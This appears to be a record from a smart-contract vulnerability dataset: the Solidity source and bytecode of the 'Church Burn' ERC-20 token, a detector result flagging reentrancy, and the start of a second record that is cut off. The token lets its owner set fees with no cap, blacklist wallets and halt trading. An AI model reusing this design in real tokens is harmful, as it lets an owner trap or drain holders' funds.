/* ───▄▀▀▀▀▀▀▀▀▀▀▄▄ ────▄▀▀░░░░░░░░░░░░░▀▄ ──▄▀░░░░░░░░░░░░░░░░░░▀▄ ──█░░░░░░░░░░░░░░░░░░░░░▀▄ ─▐▌░░░░░░░░▄▄▄▄▄▄▄░░░░░░░▐▌ ─█░░░░░░░░░░░▄▄▄▄░░▀▀▀▀▀░░█ ▐▌░░░░░░░▀▀▀▀░░░░░▀▀▀▀▀░░░▐▌ █░░░░░░░░░▄▄▀▀▀▀▀░░░░▀▀▀▀▄░█ █░░░░░░░░░░░░░░░░▀░░░▐░░░░░▐▌ ▐▌░░░░░░░░░▐▀▀██▄░░░░░░▄▄▄░▐▌ ─█░░░░░░░░░░░▀▀▀░░░░░░▀▀██░░█ ─▐▌░░░░▄░░░░░░░░░░░░░▌░░░░░░█ ──▐▌░░▐░░░░░░░░░░░░░░▀▄░░░░░█ ───█░░░▌░░░░░░░░▐▀░░░░▄▀░░░▐▌ ───▐▌░░▀▄░░░░░░░░▀░▀░▀▀░░░▄▀ ───▐▌░░▐▀▄░░░░░░░░░░░░░░░░█ ───▐▌░░░▌░▀▄░░░░▀▀▀▀▀▀░░░█ ───█░░░▀░░░░▀▄░░░░░░░░░░▄▀ ──▐▌░░░░░░░░░░▀▄░░░░░░▄▀ ─▄▀░░░▄▀░░░░░░░░▀▀▀▀█▀ ▀░░░▄▀░░░░░░░░░░▀░░░▀▀▀▀▄▄▄▄▄ Every 6 hours 100% of the marketing wallet will be used to purchase Church DAO and burn every single token There will not be any socials - We want to gain the communities trust organically If socials are made we will join */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ChurchBurn is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Church Burn";////////////////////////// string private constant _symbol = "CBURN";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 7;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 7;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x72E601D2c4097e321580bE71BAdFE22F83E50800);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x906e877989f2F3657664c56e4DeaaD8D18EFfB2D);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; //1% uint256 public _maxWalletSize = 3000000 * 10**9; //3% uint256 public _swapTokensAtAmount = 1000000 * 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047a57600080fd5b806374010ece146103c25780637d1db4a5146103e25780638da5cb5b146103f857600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103585780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad57600080fd5b8063313ce567146102fc57806349bd5a5e146103185780636b9990531461033857600080fd5b80631694505e116101a05780631694505e1461026957806318160ddd146102a157806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023957600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aeb565b6105c5565b005b3480156101ff57600080fd5b5060408051808201909152600b81526a21b43ab931b410213ab93760a91b60208201525b6040516102309190611c15565b60405180910390f35b34801561024557600080fd5b50610259610254366004611a41565b610672565b6040519015158152602001610230565b34801561027557600080fd5b50601454610289906001600160a01b031681565b6040516001600160a01b039091168152602001610230565b3480156102ad57600080fd5b5067016345785d8a00005b604051908152602001610230565b3480156102d257600080fd5b506102596102e1366004611a01565b610689565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b5060405160098152602001610230565b34801561032457600080fd5b50601554610289906001600160a01b031681565b34801561034457600080fd5b506101f1610353366004611991565b6106f2565b34801561036457600080fd5b506101f1610373366004611bb2565b61073d565b34801561038457600080fd5b506101f1610785565b34801561039957600080fd5b506102b86103a8366004611991565b6107d0565b3480156103b957600080fd5b506101f16107f2565b3480156103ce57600080fd5b506101f16103dd366004611bcc565b610866565b3480156103ee57600080fd5b506102b860165481565b34801561040457600080fd5b506000546001600160a01b0316610289565b34801561042257600080fd5b506101f1610431366004611bb2565b610895565b34801561044257600080fd5b506102b860175481565b34801561045857600080fd5b5060408051808201909152600581526421a12aa92760d91b6020820152610223565b34801561048657600080fd5b506101f1610495366004611bcc565b6108dd565b3480156104a657600080fd5b506101f16104b5366004611be4565b61090c565b3480156104c657600080fd5b506102596104d5366004611a41565b61094a565b3480156104e657600080fd5b506102596104f5366004611991565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101f1610957565b34801561052b57600080fd5b506101f161053a366004611a6c565b6109ab565b34801561054b57600080fd5b506102b861055a3660046119c9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101f16105a0366004611bcc565b610a5a565b3480156105b157600080fd5b506101f16105c0366004611991565b610a89565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611c68565b60405180910390fd5b60005b815181101561066e5760016010600084848151811061062a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066681611d7b565b9150506105fb565b5050565b600061067f338484610b73565b5060015b92915050565b6000610696848484610c97565b6106e884336106e385604051806060016040528060288152602001611dd8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d3565b610b73565b5060019392505050565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105ef90611c68565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107675760405162461bcd60e51b81526004016105ef90611c68565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ba57506013546001600160a01b0316336001600160a01b0316145b6107c357600080fd5b476107cd8161120d565b50565b6001600160a01b03811660009081526002602052604081205461068390611292565b6000546001600160a01b0316331461081c5760405162461bcd60e51b81526004016105ef90611c68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105ef90611c68565b601655565b6000546001600160a01b031633146108bf5760405162461bcd60e51b81526004016105ef90611c68565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016105ef90611c68565b601855565b6000546001600160a01b031633146109365760405162461bcd60e51b81526004016105ef90611c68565b600893909355600a91909155600955600b55565b600061067f338484610c97565b6012546001600160a01b0316336001600160a01b0316148061098c57506013546001600160a01b0316336001600160a01b0316145b61099557600080fd5b60006109a0306107d0565b90506107cd81611316565b6000546001600160a01b031633146109d55760405162461bcd60e51b81526004016105ef90611c68565b60005b82811015610a54578160056000868685818110610a0557634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1a9190611991565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4c81611d7b565b9150506109d8565b50505050565b6000546001600160a01b03163314610a845760405162461bcd60e51b81526004016105ef90611c68565b601755565b6000546001600160a01b03163314610ab35760405162461bcd60e51b81526004016105ef90611c68565b6001600160a01b038116610b185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610dbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610deb57506000546001600160a01b03838116911614155b156110cc57601554600160a01b900460ff16610e84576000546001600160a01b03848116911614610e845760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610ed65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1857506001600160a01b03821660009081526010602052604090205460ff16155b610f705760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610ff55760175481610f92846107d0565b610f9c9190611d0d565b10610ff55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000611000306107d0565b6018546016549192508210159082106110195760165491505b8080156110305750601554600160a81b900460ff16155b801561104a57506015546001600160a01b03868116911614155b801561105f5750601554600160b01b900460ff165b801561108457506001600160a01b03851660009081526005602052604090205460ff16155b80156110a957506001600160a01b03841660009081526005602052604090205460ff16155b156110c9576110b782611316565b4780156110c7576110c74761120d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110e57506001600160a01b03831660009081526005602052604090205460ff165b8061114057506015546001600160a01b0385811691161480159061114057506015546001600160a01b03848116911614155b1561114d575060006111c7565b6015546001600160a01b03858116911614801561117857506014546001600160a01b03848116911614155b1561118a57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b557506014546001600160a01b03858116911614155b156111c757600a54600c55600b54600d555b610a54848484846114bb565b600081848411156111f75760405162461bcd60e51b81526004016105ef9190611c15565b5060006112048486611d64565b95945050505050565b6012546001600160a01b03166108fc6112278360026114e9565b6040518115909202916000818181858888f1935050505015801561124f573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126a8360026114e9565b6040518115909202916000818181858888f1935050505015801561066e573d6000803e3d6000fd5b60006006548211156112f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b600061130361152b565b905061130f83826114e9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c057600080fd5b505afa1580156113d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f891906119ad565b8160018151811061141957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143f9130911684610b73565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611478908590600090869030904290600401611c9d565b600060405180830381600087803b15801561149257600080fd5b505af11580156114a6573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c8576114c861154e565b6114d384848461157c565b80610a5457610a54600e54600c55600f54600d55565b600061130f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b60008060006115386116a1565b909250905061154782826114e9565b9250505090565b600c5415801561155e5750600d54155b1561156557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158e876116e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c0908761173e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ef9086611780565b6001600160a01b038916600090815260026020526040902055611611816117df565b61161b8483611829565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166091815260200190565b60405180910390a3505050505050505050565b600081836116945760405162461bcd60e51b81526004016105ef9190611c15565b5060006112048486611d25565b600654600090819067016345785d8a00006116bc82826114e9565b8210156116d85750506006549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006116fe8a600c54600d5461184d565b925092509250600061170e61152b565b905060008060006117218e8787876118a2565b919e509c509a509598509396509194505050505091939550919395565b600061130f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d3565b60008061178d8385611d0d565b90508381101561130f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b60006117e961152b565b905060006117f783836118f2565b306000908152600260205260409020549091506118149082611780565b30600090815260026020526040902055505050565b600654611836908361173e565b6006556007546118469082611780565b6007555050565b6000808080611867606461186189896118f2565b906114e9565b9050600061187a60646118618a896118f2565b905060006118928261188c8b8661173e565b9061173e565b9992985090965090945050505050565b60008080806118b188866118f2565b905060006118bf88876118f2565b905060006118cd88886118f2565b905060006118df8261188c868661173e565b939b939a50919850919650505050505050565b60008261190157506000610683565b600061190d8385611d45565b90508261191a8583611d25565b1461130f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b803561197c81611dc2565b919050565b8035801515811461197c57600080fd5b6000602082840312156119a2578081fd5b813561130f81611dc2565b6000602082840312156119be578081fd5b815161130f81611dc2565b600080604083850312156119db578081fd5b82356119e681611dc2565b915060208301356119f681611dc2565b809150509250929050565b600080600060608486031215611a15578081fd5b8335611a2081611dc2565b92506020840135611a3081611dc2565b929592945050506040919091013590565b60008060408385031215611a53578182fd5b8235611a5e81611dc2565b946020939093013593505050565b600080600060408486031215611a80578283fd5b833567ffffffffffffffff80821115611a97578485fd5b818601915086601f830112611aaa578485fd5b813581811115611ab8578586fd5b8760208260051b8501011115611acc578586fd5b602092830195509350611ae29186019050611981565b90509250925092565b60006020808385031215611afd578182fd5b823567ffffffffffffffff80821115611b14578384fd5b818501915085601f830112611b27578384fd5b813581811115611b3957611b39611dac565b8060051b604051601f19603f83011681018181108582111715611b5e57611b5e611dac565b604052828152858101935084860182860187018a1015611b7c578788fd5b8795505b83861015611ba557611b9181611971565b855260019590950194938601938601611b80565b5098975050505050505050565b600060208284031215611bc3578081fd5b61130f82611981565b600060208284031215611bdd578081fd5b5035919050565b60008060008060808587031215611bf9578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4157858101830151858201604001528201611c25565b81811115611c525783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cec5784516001600160a01b031683529383019391830191600101611cc7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d2057611d20611d96565b500190565b600082611d4057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5f57611d5f611d96565b500290565b600082821015611d7657611d76611d96565b500390565b6000600019821415611d8f57611d8f611d96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ebad2c2f8f2fae0b781ed0b4603965d5f0b81eb161ba960a3910f47fef18f0764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,491
0xe3f158b9f6c35cf51d1a763037882a8e6ae661cb
pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { 